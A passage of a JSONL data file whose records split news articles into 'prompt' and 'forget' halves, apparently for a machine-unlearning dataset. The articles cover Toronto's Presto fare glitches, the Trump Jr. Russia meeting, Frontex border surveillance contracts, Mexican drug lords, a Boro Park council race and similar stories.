gang are believed to have been wearing hoods, with one in a blue Puffa coat. Detective Inspector Steve Christian, from Liverpool CID, said: 'I'd like to appeal to the consciences of the offenders and ask them to put themselves in the victim's position and think how they would feel if this happened to them. 'While the occupiers were not in at the time, it has clearly been very upsetting to find their home has been targeted in this way. 'I would ask the offenders to do the right thing and return the stolen items to the owner in any way possible. 'I would"}
{"prompt": "The new Presto fare system will be up and \u2014 hopefully \u2014 running at every subway station in the city on Friday morning. The TTC says the last Presto-free station, Coxwell, will have an operating card reader in place for the morning commute. But whether that new equipment will work is less certain, as some riders have been discovering. The TTC says its received more than 600 complaints about faulty Presto equipment this year. (CBC) Frustrated customers say they're facing big problems reloading their cards at Presto machines across the city, problems that Metrolinx, the provincial transit agency, insists it", "forget": "is close to ironing out. Customers have also reported problems with card readers at subway stations and on streetcars and buses, TTC spokesperson Heather Brown said. In total, the TTC has logged some 620 Presto complaints system-wide so far this year. If the bugs that have plagued card loaders can't be worked out, Metrolinx says it has a brand new generation of fare-loaders waiting to be installed in TTC stations. Customers could be partially at fault \"We will completely agree they are not reliable,\" Anne Marie Aikins, Metrolinx senior manager of media relations, said earlier this week. \"Sometimes it's just usability \u2014 a customer who takes their card out too fast. But we're also diagnosing whether it's a software fix that needs to happen.\" Metrolinx is set to roll out \"a next generation of self-loading machines that we expect to be much better than these current ones,\" she said, adding those machines would be delivered in the new year. Metrolinx is responsible for front-line maintenance of the Presto machines. Metrolinx's Anne Marie Aikins says her agency is working to iron out glitches with Presto card loaders. (CBC) Currently there are 75 fare loaders in TTC stations across the city. Customers have reported problems with card readers as well. As of Friday, all buses will be equipped with them, the TTC says. Streetcars have been accepting Presto since 2015. Help is on the way The TTC's Brown told CBC Toronto on Thursday that the commission keeps track of rider complaints about faulty Presto machines, but doesn't distinguish between readers and loaders. TTC chief executive officer Andy Byford on Wednesday expressed frustration with Presto gate glitches, but said help is on the way. TTC CEO Andy Byford expressed frustration with the Presto problems. (CBC) \"There is a software patch and an increase"}
{"prompt": "An NYT report indicates Donald Trump Jr. tried to collude with the Russian government A bad look for a man already in hot water. An explosive new report in the New York Times says that Donald Trump Jr. was told in advance of his meeting with Russian attorney Natalia Veselnitskaya that she had negative information to offer about Hillary Clinton and that the source of the information was the Russian government. According to the Times, citing \u201cthree people with knowledge of the email,\u201d Rob Goldstone, the British publicist who set up the meeting, contacted Trump and told him he should", "forget": "meet with Veselnitskaya because she could share information sourced to the Russian government. After the Times first reported Saturday on the meeting\u2019s existence, Trump acknowledged that it took place, but made no mention of the Russian government being a source of Veselnitskaya\u2019s alleged information. It\u2019s not clear at this point that she actually had any such information \u2014 from what we can tell, she sought the meeting to discuss with the Trump campaign her longstanding attempt to get a set of sanctions related to human rights abuses lifted. And there\u2019s no indication that the Veselnitskaya meeting had anything to do with the emails pilfered by Russian-backed hackers from the Democratic National Committee or John Podesta. Still, the fact that the Trump campaign took a high-level meeting \u2014 Paul Manafort and Jared Kushner were also present \u2014 whose ostensible purpose was for the Trump campaign to work with the Russian government to take down Clinton certainly increases the level of plausibility around the possibility that people from Trumpworld were involved in the anti-Clinton information operation that we do know took place. Donald Trump Jr. is getting into a lot of trouble Even before this latest revelation, Donald Trump Jr.\u2019s participation in the meeting was a potential source of legal trouble for him. That\u2019s because it\u2019s essentially illegal to seek foreign help of any kind in a political campaign. Under 52 USC 30121, 36 USC 510, the law governing foreign contributions to political campaigns, you don\u2019t have to actually get useful help from foreigners, according to this law: The mere fact that Trump Jr. asked for information from a Russian national about Clinton, and heard her out as she attempted to describe it, might have constituted a federal crime. \u201cIf what Donald Trump Jr. said was true ... then they should have"}
{"prompt": "Whiskey lovers are more full of it than they seem, and may be exaggerating their ability to even tell rye and bourbon apart, a study by Drexel University found. Instead, the average consumer is more swayed by brand, age and alcohol content. The fashion for drinking whiskey appears to be overtaking people\u2019s knowledge of it, assistant professor at Drexel\u2019s Center for Hospitality and Sport Management, Jacob Lahne, found. He arrived at the results by carrying out a simple blind sorting exercise. \"There is definitely a tendency for bartenders to talk about how some drinks should absolutely be made with bourbon", "forget": "or rye, and I think it's clear now that there is more flexibility,\" Lahne says. \u201cIn a way it\u2019s fun and exciting \u2013 it gives you a bigger universe to play with.\u201d Read more While the two spirits have their distinct traditions, chemical and taste differences (try telling a Scotsman something about the merits of Bourbon), the only legal difference between rye and bourbon is that the latter is for the most part fermented corn mash, while rye is grain. The mash bill \u2013 or the collection of raw materials used for a specific blend \u2013 could be different by a small fraction and still cause a drink to be pigeonholed into another category. For his sample Lahne used 21 participants and trays with 10 mystery whiskeys \u2013 half of them bourbon, the other half rye. The order was random. The subjects were instructed to only smell, not taste. This exercise basically matches the testing procedures for Scotch whiskey evaluation. Days later the subjects came back and were told to reorder the previously smelled whiskeys into groupings. The order in which the whiskeys were presented was exactly the same. The difference was that this time around the whiskeys all got fancy brand names and specially-designed labels. The next part is a bit more complex. The researchers had to use statistical analyses to interpret the participants\u2019 choices. Eventually the conclusion Lahne and team arrived at is that the average participant did not order his poisons according to mashbill, but was instead swayed by the flashy label and all the cool information it gave \u2013 such as years aged, the type of cask and so on. It was noticed that Jim Beam whiskeys were often grouped together, something Lahne attributed to the established tell-tale signs of house brands. Jim Beam, for instance,"}
{"prompt": "Closing Europe\u2019s Borders Becomes Big Business This is the first of a two-part report on extraordinary measures the EU is taking to keep unwanted migrants out of the EU. ATHENS/WARSAW, Jan 9 2013 (IPS) - The European Union is implementing a new border management system with tougher migration control the core aim. Major security and weapons companies are already reaping the benefits. Frontex, the EU border agency, has financed major weapons and security equipment producers to present their equipment in demonstrations. European national border guards have participated in these demonstrations as potential customers, IPS learns. Frontex confirmed to IPS that", "forget": "the agency has been paying weapons and security equipment manufacturers to participate in demonstrations of equipment which national agencies attended as potential customers. \u201cIn the case of companies Lockheed Martin, FAST Protect AG, L-3 Communications, FLIR Systems, SCOTTY Group Austria, Diamond Airborne Sensing and Inmarsat, it (the reimbursement) was 30,000 euros,\u201d the agency told IPS in an emailed response. The companies participated in demonstration of Remotely Piloted Aircraft (Drones) in Aktio in Greece in October 2011. Thirteen companies and consortiums (Israel Aerospace Industries, Lockheed Martin, FAST Protect AG, L-3 Communications, FLIR Systems, SCOTTY Group Austria, Diamond Airborne Sensing, Inmarsat, Thales, AeroVision, AeroVironment, Altus, BlueBird) demonstrated technological solutions for maritime surveillance. \u201cThe payments made to the companies to cover the costs incurred by them to participate in the demonstration in Aktio varied from 10,000 euros to 198,000 euros,\u201d said Frontex. U.S.-based Lockheed Martin, French Thales and Israeli IAI are among the biggest weapons and security equipment producers in the world. The demonstrations are part of the preparation for the launch of EUROSUR, the European External Border Surveillance System meant to enhance cooperation between border control agencies of EU member states and to promote surveillance of EU\u2019s external borders by Frontex, with a particular focus on the Mediterranean and North Africa, in view of controlling migration to Europe. Surveillance plans envisage the possibility of using drones to spot migrant boats trying to cross the Mediterranean. EUROSUR is one of the two main elements of Europe\u2019s new border management regime along with \u2018Smart Borders\u2019 which will put in place an \u2018Entry-Exit System\u2019 (EES) to identify visa overstayers, and establish a Registered Traveller Programme (RTP) to enable pre-vetted individuals to cross borders faster. The system would rely heavily on use of biometrics and on the collection of a huge database of passenger personal information."}
{"prompt": "Westminster Presbyterian Church on Nicollet Mall in Minneapolis plans to demolish an eight-story glassy office building adjacent to its historic site and expand the church\u2019s footprint in its place. The building project, contingent upon church board approval next week, is part of a larger campaign focused on positioning the church for its next 100 years in downtown Minneapolis. The campaign also will raise up to $7 million for charity and community services, including about $4 million for new affordable housing in the city, said senior pastor Tim Hart-Andersen. Westminster is seeking city approval for a two-story, 41,000-square-foot modern expansion with", "forget": "large plazas and gardens lining the highly trafficked street. Early cost estimates put the project at $27 million to $28 million. The church in 2012 purchased the property at 1221 Nicollet Mall for $8.7 million. At that time, the 3,100-member Westminster announced that it planned to eventually raze the blue-hued office building to make way for a church expansion. The original portion of Westminster was built in 1897 and is listed on the National Register of Historic Places. Westminster plans to use the addition for worship and gathering space, a multipurpose room, classrooms, youth spaces, church offices and community partnership space, according to documents filed with the city. Westminster Presbyterian Church on Nicollet Mall in downtown Minneapolis plans to demolish the 9-story office tower it owns next door and replace it with a two-story, 41,000 square foot church expansion. \u201cWe want to be a part of this city\u2019s growth for years to come,\u201d Hart-Andersen said. \u201cOne of our principles is to be ecologically responsible as it is our understanding of caring for creation. There will be a green roof that will water the plaza and provide water for the bathrooms. \u201cWe really want it to be an example of how you can have a green and sustainable building in the heart of the city.\u201d Community partners About 25 percent of the new space is designed to host community partners, including one of two possible nonprofits, Hart-Anderson said. Declining to name the organizations they are having conversations with, Hart-Andersen did say it will probably either be a nonprofit that provides services for early intervention for babies and toddlers who have suffered trauma or an urban school. In addition to the expansion, Westminster plans to renovate 30,000 square feet of its existing interior to provide new libraries and co-working space. The modern-style"}
{"prompt": "Posted on Wednesday, 02 April 2014 11:03 By Christian Freymeyer While the origin of illicit financial flows ranges from government embezzlement to human trafficking, and from corporate tax evasion to grand corruption, the destination seems less ambiguous. A $35 million mansion in California, artwork totaling \u20ac18 million, and a $38 million dollar private jet. These sound like items purchased by the world's wealthiest oligarchs, right? Well, they were actually acquired by Teodorin Obiang, son of President Teodoro Obiang of Equatorial Guinea. as long as financial institutions in the EU remain complicit in the transfer of illicit capital, African countries will", "forget": "continue to bleed billions When his father convenes with other leaders for this week's EU-Africa summit, a wide range of topics will be covered. But there's one issue in particular that should be given a loudspeaker during the talks in Brussels: illicit financial flows. Africa and Europe have a unique financial relationship. It's one that is marked by illicit capital flowing out of African countries into bank accounts in financial centers across the EU. While the younger Obiang's official salary is less than $7,000 per month, he managed to spend more than $315 million between 2004 and 2011 on sports cars, beachfront mansions, lavish apartments, and even some Michael Jackson memorabilia. And this is only one example. In 2011 alone, it's estimated that \u20ac43.7 billion left Africa by way of illicit financial flows; this money should rather have been invested in infrastructure, education and healthcare, all of which are areas highlighted by the EU-Africa Summit. Just to put that number into perspective, African countries received a combined \u20ac34.3 billion in developmental aid the same year, according to statistics from the Organization for Economic Co-Operation and Development (OECD). While the origin of illicit financial flows ranges from government embezzlement to human trafficking, and from corporate tax evasion to grand corruption, the destination seems less ambiguous. The end game for most is to move funds to a place where they can be used freely, and preferably, anonymously. At the moment, that task is far too easy. Loopholes in the current system have fostered a strange breed of companies. They don't do any real work, don't have any employees, and, more often than not, don't even disclose who owns them. These anonymous companies are one of the primary vehicles used to funnel illicit money from Africa into places like the EU. To set"}
{"prompt": "This is a list of Mexico's 37 most-wanted drug lords as published by Mexican federal authorities on 23 March 2009. According to a BBC Mundo Mexico report, the 37 drug lords \"have jeopardized M\u00e9xico national security.\"[1][2] As of 8 January 2016, 25 drug lords have been captured, eight have been killed and four remain fugitives. The list of drug lords is grouped by their drug cartels. Mexico offers up to 30 million pesos (about 1.6 million U.S. dollars) for the capture of each of the fugitives.[2][3][4] The United States also offers rewards for two of them.[5] The most-wanted of the", "forget": "37 drug lords was Joaqu\u00edn Guzm\u00e1n Loera, for whom Mexican and U.S. governments offered a total bounty of 7 million USD.[6] He was captured on 22 February 2014 in Mazatl\u00e1n, Sinaloa, where he was staying at a hotel.[7] He escaped yet again on 11 July 2015 through a 1.5 kilometer long tunnel from his cell in the Mexican maximum security prison he had been housed in. Guzm\u00e1n was recaptured by Mexican Marines following a gun battle on 8 January 2016.[8] Recent events [ edit ] As of 18 January 2011, Mexico had captured or killed 20 of the 37 in the most-wanted list.[9] The 21 June 2011 arrest of Jos\u00e9 de Jes\u00fas M\u00e9ndez Vargas,[10] a.k.a. \"El Chango\", brought the total to twenty-one captured or killed.[11][12] On 4 November 2011, Francisco Hern\u00e1ndez Garc\u00eda was captured bringing the total to 22 captured or killed. A leader of the Zetas drug cartel, Ra\u00fal Hern\u00e1ndez Lechuga was captured on 12 December 2011, which brought the total to 23 captured or killed so far.[11][12][13] On 26 September 2012, Iv\u00e1n Vel\u00e1zquez Caballero was captured by Mexican security forces, bringing the total captured or killed so far to 24.[14] Then the 7 October 2012 killing of Heriberto Lazcano brought this total to 25 captured or killed so far.[15] On 15 July 2013, Miguel Trevi\u00f1o Morales was apprehended by the Mexican Marines in a town called An\u00e1huac, Nuevo Le\u00f3n, near the border of the state of Tamaulipas,[16] bringing the total captured or killed so far to 26. Then, the 27 January 2014 apprehension of Dionisio Loya Plancarte,[17] a.k.a. \"El T\u00edo\", brought the total captured or killed to 27, and leaving the Mexican government with 10 such fugitives still on the loose. On 23 June 2014, Fernando S\u00e1nchez Arellano was arrested by soldiers of the Mexican Army and federal"}
{"prompt": "A small group of Portland residents is offering to raise money to fund the special assistant to the mayor after it was eliminated from the budget by the City Council. But the city manager says that the effort would likely be rebuffed, since the council has already deemed the position to be unnecessary. Peaks Island resident Timmi Sellers asked the city in a May 18 email how residents could earmark a donation to pay for Jason Shedlock\u2019s salary, which would have been roughly $69,000 next year. Jason Shedlock, assistant to the mayor, speaks to the council before its vote terminating", "forget": "his position this month. He said that listening to people talk about him was like \"watching your own funeral.\" Staff photo by Derek Davis Related Headlines Portland Mayor Strimling says he may veto budget over council\u2019s vote to cut his assistant Sellers, who was impressed that Mayor Ethan Strimling and Shedlock recently attended a meeting on Peaks Island to hear concerns about the loss of mainland parking, said in an interview that she was moved to act after watching the emotional debate leading up to the City Council\u2019s May 15 vote. \u201cI was pretty shocked at the viciousness of the personal attacks on the mayor after he explained very carefully why the position was so important to him,\u201d she said. \u201cI had voted for the mayor\u2019s position and I want it to be successful. I consider one year a short time for this to be evaluated.\u201d Sellers said she and a few other neighborhood leaders, who she declined to identify, were interested in raising money, but wanted to first check with the city about the legality before launching the effort. Residents are allowed make donations to the city. According to the City Council\u2019s rules, donations in excess of $5,000 must be accepted and appropriated by the council, which voted 6-3 to eliminate the position, partly because it was unpopular with their constituents. \u201cThe Council\u2019s decision to eliminate the funding for the position was not because the City could not afford it, but because they felt that the position was redundant and no longer necessary in its current capacity,\u201d City Manager Jon Jennings said in an email to Sellers. \u201cGiven their decision above, it does not seem likely to me that they would accept a donation for this purpose, and I take my direction from them.\u201d After receiving the city\u2019s response,"}
{"prompt": "BRADENTON, Fla. \u2014 Because players move around so much via trades and free agency, it is not unusual to see a rainbow of different teams\u2019 equipment bags around the clubhouse at the start of spring training. Ryan Vogelsong spent the past five seasons with the San Francisco Giants. But when the he reported to Pirates camp on Monday, Vogelsong toted a black-and-gold bag \u2014 the same one he used when he pitched for the Pirates in 2006. \u201cI\u2019ve come to realize that you don\u2019t close doors,\u201d Vogelsong said. \u201cDid I ever think I\u2019d ever come back here? Honestly, no. But", "forget": "when the opportunity was there, I was really excited about it and I took it.\u201d The Pirates logo on Vogelsong\u2019s decade-old bag is faded and outdated. The Giants likely thought Vogelsong\u2019s career \u2014 he will be 39 in July and spent part of last season in the bullpen \u2014 had reached that same point. \u201cI kind of knew what direction they were going to be heading in the offseason, and I knew my time there was probably coming to an end,\u201d Vogelsong said. \u201cWhen you go home for the offseason, you digest and try to start thinking about the future. I tried to pick out some places where I thought I could fit in and help, and (Pittsburgh) was definitely on the list.\u201d In mid-December, Vogelsong signed a $2 million contract to fill a back-end spot in the rotation. The right-hander can make up to $3 million more through performance bonuses. As he chose a landing spot, Vogelsong\u2019s priority was finding a team that would put him in the rotation. When A.J. Burnett retired and J.A. Happ signed with Toronto, the Pirates needed a starter. There is some irony in Vogelsong\u2019s return to claim a rotation spot. During his first five seasons with the Pirates, he made 70 of his 103 outings out of the bullpen. Although he said he is \u201creceptive\u201d to going to the bullpen this season if necessary, Vogelsong made it clear he wants to start. \u201cI just feel that at this point in my career and at my age, having a regular routine is better for me,\u201d he said. \u201cMy body still feels great, my arm feels great.\u201d Vogelsong doesn\u2019t have much competition for a job behind the trio of Gerrit Cole, Francisco Liriano and Jon Niese. General manager Neal Huntington repeatedly has said top pitching"}
{"prompt": "49ers receiver Jeremy Kerley steps into the right slot Video: Inform video embed Bold predictions: 49ers at Panthers Kristal Kerley\u2019s hands were shaking before kickoff Monday at Levi\u2019s Stadium. Her husband, wide receiver Jeremy Kerley, was about to make his 49ers debut, 15 days after he\u2019d arrived in a trade. It was a prime opportunity to revive a solid career that had gone south. After 182 catches in five seasons with the Jets, he was released in March. After five months in Detroit, he was dealt to the 49ers for a backup guard, Brandon Thomas, who is on the Lions\u2019", "forget": "practice squad. Now, he was suddenly the 49ers\u2019 primary slot receiver and kick returner in the season opener against the Rams. But had he adequately digested the playbook? Would he have rapport with a quarterback he just met? Would this be a bright beginning or the latest dead end? \u201cWhen I first sat down, I was nervous and I was shaking a whole lot,\u201d Kristal Kerley said. \u201cIt\u2019s one of those things where he\u2019s going to do good and the fans are going to love him. Or, if he makes too many mistakes, they\u2019re going to be mad and I\u2019m going to have my mama-bear, wifey claws out because I can\u2019t have anybody attacking my husband.\u201d The good news for the Kerleys: Kristal\u2019s claws were kept under wraps. San Francisco 49ers' Jeremy Kerley against Los Angeles Rams during NFL game at Levi's Stadium in Santa Clara, Calif., on Monday, September 12, 2016. San Francisco 49ers' Jeremy Kerley against Los Angeles Rams during NFL game at Levi's Stadium in Santa Clara, Calif., on Monday, September 12, 2016. Photo: Scott Strazzante, The Chronicle Photo: Scott Strazzante, The Chronicle Image 1 of / 3 Caption Close 49ers receiver Jeremy Kerley steps into the right slot 1 / 3 Back to Gallery The home fans loved Kerley, who led the 49ers in targets (11), catches (seven) and receiving yards (61) in a 28-0 win over the Rams. Kerley, who also returned two punts for 11 yards, played 54 of 81 snaps and provided one of the 49ers\u2019 biggest offensive plays: His diving 18-yard catch on 4th-and-6 in the second quarter sustained a touchdown drive that gave the 49ers a 14-0 lead. \u201cWe picked the guy up two weeks ago and he had seven catches,\u201d head coach Chip Kelly said. \u201cIf we picked him up"}
{"prompt": "Are we on the verge of creating artificial intelligence capable of finding answers to the world\u2019s most pressing challenges? After steady progress in basic AI tasks in recent years, this is the vision that some leading technologists have for AI. And yet, how we will make this grand leap is anyone\u2019s guess. Eric Schmidt, the executive chairman of Alphabet (formerly Google), says AI could be harnessed to help solve major challenges, including climate change and food security. Speaking at an event convened in New York this week to discuss the opportunities and risks in AI, Schmidt offered no details on", "forget": "how the technology might be adapted for such complex and abstract problems. Demis Hassabis, CEO of Google Deepmind, a division within Google doing groundbreaking work in machine learning, and which aims to bring about an \u201cartificial general intelligence\u201d (see \u201cGoogle\u2019s Intelligence Designer\u201d), said the goal of this effort was to harness AI for grand challenges. \u201cIf we can solve intelligence in a general enough way, then we can apply it to all sorts of things to make the world a better place,\u201d he said. And the chief technology officer of Facebook, Mike Schroepfer, expressed similar hope. \u201cThe power of AI technology is it can solve problems that scale to the whole planet,\u201d he said. Eric Schmidt A steady stream of advances\u2014mostly enabled by the latest machine-learning techniques\u2014are indeed empowering computers to do ever more things, from recognizing the contents of images to holding short text or voice conversations. These advances seem destined to change the way computers are used in many industries, but it\u2019s far from clear how the industry will go from captioning images to tackling poverty and climate change. In fact, speaking after his talk, Schroepfer was eager to limit expectations, at least in the short term. Schroepfer said that recent advances were not enough to allow machines to reach human levels of intelligence, and that two dozen or more \u201cmajor breakthroughs\u201d would be needed before this happened. And he said many people apparently had the wrong idea about how rapidly the field was moving. \u201cPeople see one cool example, and then extrapolate from that,\u201d he said. The event, organized by New York University as well as companies leading the effort to harness artificial intelligence, including Facebook and Google, comes at a delicate moment for academic researchers and companies riding the wave of progress in AI. Progress seems"}
{"prompt": "Image caption Zack Davies attacked Dr Sarandev Bhambra on 14 January A man has been found of guilty of attempted murder after attacking a dentist with a machete and a hammer in north Wales. Zack Davies, 26, targeted Dr Sarandev Bhambra at a Tesco store in Mold, Flintshire, in a racially motivated revenge assault for the murder of Fusilier Lee Rigby. Davies, of Mold, admitted wounding with intent but denied attempted murder. He was convicted at Mold Crown Court on Thursday. He will be sentenced on 11 September. Media playback is unsupported on your device Media caption \"We are in", "forget": "no doubt that had the racial disposition of this case been reversed this would be reported as an act of terror\" - Dr Tarlochan Singh Bhambra, Sarandev's brother Dr Bhambra was walking down an aisle in the store on 14 January when he felt a \"huge blow\" to the back of his head from the 30cm (12in) machete. During the trial, shopper Leanne Jones said she heard the words \"white power\" and said Davies was acting \"like a lunatic\" as he hacked Dr Bhambra with the machete. Another witness heard Davies say: \"Come here, this is for Lee Rigby\". Image copyright PA Image caption Fusilier Lee Rigby, from Middleton in Greater Manchester, was murdered outside Woolwich Barracks Dr Bhambra suffered two cuts to his scalp which went down to the bone and a cut to his back which went down to the muscle. The injury to his left hand caused major nerve, artery and tendon damage and he was in surgery for five hours. Dr Bhambra told the jury that former soldier Peter Fuller saved his life when he intervened during the attack. Image copyright North Wales Police Image caption Davies attacked Dr Bhambra in Tesco using a machete and a hammer The court heard items associated with white supremacy and Nazism were found at Davies's home, including banners, swastika badges and Combat 18 stickers. He also said he was \"absolutely fascinated\" with Islamic State and described the British man known as Jihadi John as his inspiration. Gareth Preston, senior prosecutor for the Crown Prosecution Service Wales, described Davies as a \"dangerous young man whose distorted and racist views led him to commit a terrifying act of violence\". He added: \"Such was the level of violence involved that, were it not for the extremely courageous actions of ex-serviceman Peter Fuller,"}
{"prompt": "New Zealand drug-trafficking accused Sharon Armstrong has admitted she knew of a secret package hidden inside her suitcase, but insists she believed it was nothing more than confidential papers. Ms Armstrong, 54, a former Maori Language Commission deputy chief executive, was arrested on April 13 after Buenos Aires Airport police allegedly found 5kg cocaine hidden in her suitcase. Ms Armstrong has said she did not know about the drugs and was tricked by a man she met online. She is being held in a medium-security women's detention centre in Ezeiza, about 30km southwest of Buenos Aires. She made a private", "forget": "court appearance on Thursday, where Judge Daniel Petrone ruled he would proceed with a full investigation court appearance, dashing any hopes of an early release. Yesterday she told the Herald on Sunday an online boyfriend who lives in London, who she had been dating for six months, tricked her into being a drug mule. \"He said that it was documents and a contract. I don't know any more about it and I didn't ask. I just thought it was really important and that the contract was worth a lot of money.\" Armstrong refused to say how she came into possession of the suitcase, but it was understood the switch was made with the case she brought from New Zealand just before she attempted to board a British Airways flight to London on April 13. She said she did not notice the 5kg of cocaine. If convicted, Ms Armstrong faced at least eight years behind bars. Speaking to NZPA from jail last week, Ms Armstrong said she needed help but was reluctant to talk about her case because she feared for her safety. \"I'm just a little bit concerned that this might be a lot bigger. I've never been involved in anything like this ever before.\" She refused to name the man who she said scammed her. \"I'm not wanting to protect him, but I'm not prepared to name any names for fear of any retribution.\" Ms Armstrong said reports she was carrying four driver's licences when arrested were wrong. She told NZPA she had three licences -- New Zealand, Australian, and Cook Islands -- with her at the time. She said the Australian licence was for when she visited family, and the $10 Cook Islands licence had expired. Staff from the New Zealand embassy in Buenos Aires had visited her"}
{"prompt": "Day two of Government Shutdown 2013 offered America plenty of surreal moments, from the brief and ridiculous re-emergence of the Grand Bargain, to the sight of multiple members of a universally reviled governing body offering to give up their paychecks as if they thought it was a move worthy of a medal. But nowhere did Salvador Dali's clocks warp and melt under the heat of sustained stupidity as badly as they did down at the World War II Memorial in Washington, D.C. Yesterday, it became pretty obvious that if you wanted to catch the eye of any Beltway reporter to", "forget": "discuss what you were enduring during the shutdown, you had to go on down to this memorial to make your case. Unfortunately, that's where many members of Congress decided to while away their day as well. As Ryan Reilly reported, heroic members of Congress turned out to boldly grandstand at the memorial, pretending just as hard as they could that its temporary closure was the most dire effect of the shutdown ... for which ... they voted. Yes, that was by far the most surreal thing about it. Gawker's Tom Scocca turned the best phrase about the whole mess, describing those lawmakers as committing \"an act of civil disobedience against themselves.\" But Mark Segraves, reporting for NBC News' Washington affiliate, managed to capture the howler highlight of the Great World War II Memorial Bleat-n-Repeat -- Rep. Randy Neugebauer's (R-Tex.) Wednesday confrontation of a poor park ranger on the scene -- who was doing nothing more than her job -- blaming her for the closure he voted for and telling her that she should be ashamed of herself. Seriously, this actually happened. Per Segraves: \"How do you look at them and ... deny them access?\" said Neugebauer. He, with most House Republicans, had voted early Sunday morning to pass a funding measure that would delay the Affordable Care Act, a vote that set up a showdown with the Senate and President Barack Obama. With the parties unable to agree on how to fund the federal government, non-essential government functions shut down Tuesday. \"It's difficult,\" responded the Park Service employee. \"Well, it should be difficult,\" replied the congressman, who was carrying a small American flag in his breast pocket. \"It is difficult,\" responded the Park Service employee. \"I'm sorry, sir.\" \"The Park Service should be ashamed of themselves,\" the congressman said. \"I'm"}
{"prompt": "Police say the New York police lieutenant who killed himself at Floyd Bennet Field on Thursday morning, apparently used another officer's gun to commit suicide. According to reports, Lieutenant Michael Pigott's suicide note indicated that he was afraid of being charged for the death of a man in Brooklyn who died after he authorized the fatal use of a Taser stun gun on the naked psychiatric patient. The officer was remorseful and distraught. He apologized and sought the family's forgiveness. Then he married father of two sons and a daughter, went to his unit's headquarters Thursday morning and shot himself", "forget": "to death, just hours before the family laid the victim to rest. The suicide marks another tragic turn in a case that has raised questions about the use of Tasers by the nation's largest police force. Authorities say Pigott directed a fellow Emergency Services Unit officer to use his Taser on 35-year-old Iman Morales as he teetered on a Brooklyn building's ledge on September 24. The 50,000-volt shock caused Morales, a troubled psychiatric patient, to topple 10 feet headfirst onto the sidewalk, killing him. Officers had radioed for an inflatable bag as the incident unfolded, but it had not yet arrived when Morales fell. After the episode, Police Commissioner Raymond Kelly ordered refresher training for the NYPD's Emergency Services Unit on how to deal with the mentally ill, and appointed a new commander of the unit. Pigott, a 21-year veteran who lives in Suffolk County, told a reporter earlier this week that he was \"truly sorry for what happened.\" Pigott was one of two officers disciplined by NYPD commanders for violating Taser-use guidelines. \"The lieutenant was deeply distraught and extremely remorseful over the death of Iman Morales in Brooklyn last week,\" Mayor Michael Bloomberg said. \"Sadly, his death just compounds the tragedy of the loss of Mr. Morales.\" Pigottt was stripped of his gun and badge and assigned to a job with the department's motor vehicle fleet. Police say the officer who used the taser, Nicholas Marchesona, was placed on desk duty. The Brooklyn district attorney's office and the NYPD are investigating. Pigott's suicide came on what was his 46th birthday. According to the Post, he placed photos of his wife and kids next to him before taking his own life. \"This is horrible,\" said Morales' aunt, Ann DeJesus Negron. \"I mean, for me personally, I know it's horrible because"}
{"prompt": "Dear readers and friends, now, that\u2019s a change from the usual \u201chello everyone\u201d and the Star Trek title \u2013 must mean something significant, yes? Well, unfortunately, it does. I am quitting working on For the Record, completely. The reasons for these are numerous, but the most obvious one is that I was hired by My.com, the producer of Armored Warfare, to become a content manager and a sort of historical advisor (minus the epic hat) with a hint of community management. My contract prevents me from doing anything, that would benefit My.com\u2019s competition and unfortunately, running a Wargaming news blog", "forget": "is exactly the kind of thing that is prohibited. I wasn\u2019t expecting this to come so suddenly (in fact, I was counting on running the blog for at least another month to take it all nice and slow), but the resolution of the situation came rather swiftly and I cannot wait \u2013 I\u2019d be in breach of my contract. Don\u2019t worry though, I won\u2019t leave you without any info, there is a contingency plan (see below). There are other reasons as well though and I do feel like I owe you a longer explanation though, so here goes. This decision is not new. Some of you might remember that I was considering quitting completely as early as in the autumn of 2014. Wasn\u2019t a good time for me really \u2013 along with some health issues, by that point FTR was practically a fulltime job (which didn\u2019t change until today) and no matter how easy it might seem to an outsider, running the blog to any standard was completely exhausting. Another price, even more serious one, was the complete lack of any \u201clife\u201d, a price I was willing to pay, but I am no longer \u2013 I found someone very special in my life and suddenly found myself in a situation where I had to choose between my private life and working on FTR. Until today, I chose the latter, but I cannot do that anymore. But that\u2019s not nearly everything. For a long time, I was doing FTR mostly out of sense of duty, as there was unfortunately no true goal to the entire endeavor. While the FTR numbers between 2013 and 2014 practically doubled, recently, the growth generally just stagnated. I believe that as it is now, FTR has reached its limits, there is nowhere to expand \u2013 in"}
{"prompt": "A vicious underground social media war is rocking a City Council race in the Brooklyn ultra-Orthodox neighborhood of Boro Park \u2014 and the nastiest blows are in Yiddish. Waged largely on private WhatsApp groups, the fight between Kalman Yeger and Yoni Hikind is largely hidden from the general public. The combatants are largely anonymous, with no official ties to the two campaigns. The result is cross between a hip hop beef and a meme war, with partisans trading diss tracks and web videos that bash the other side without any accountability. \u201cThis is possibly one of the most nasty and", "forget": "personal campaigns I\u2019ve seen,\u201d said Michael Fragin, an Orthodox political analyst. Yeger partisans have anonymously drawn attention to Hikind\u2019s unmarried status, which is unusual among Orthodox Jews of his age. Meanwhile, Hikind supporters passed on false claims that the progressive Palestinian activist Linda Sarsour is backing Yeger, which she has denied. WhatsApp An anonymous pro-Yeger meme circulated on Boro Park WhatsApp groups. Share Pinterest Email \u201cThe WhatsApp has taken over the political discourse,\u201d said Jacob Kornbluh, a member of the Boro Park community who works as a political correspondent for the news website Jewish Insider. \u201cThe campaigns feel that in order to drive the message, they have to invest in this\u2026 You can never trace to where it came from.\u201d The campaign is the latest proxy skirmish in the long-running feud between outgoing City Councilman David Greenfield and longtime New York State Assemblyman Dov Hikind, who were allies before splitting bitterly years ago. Greenfield announced in July that he would leave the City Council at the end of the year to run a nonprofit. He passed on his Democratic party line to longtime political operative Kalman Yeger, who was able to bypass a primary contest. Dov Hikind\u2019s son, Yoni Hikind, who has worked as a social worker and therapist, announced his candidacy soon after. Hikind is running on the \u201cOur Neighborhood\u201d party line. The race has sharply divided Boro Park, already splintered into countless small Orthodox factions. Yeger is seen as the institutional choice. Leaders of the Hasidic group known as Bobov 48, so named for the street where their headquarters is located, back him, as do heads of many local Orthodox yeshivas. But other smaller Hasidic groups back Hikind. Yet the real action has been on social media and in Yiddish-language pamphlets and fliers away from the eyes of"}
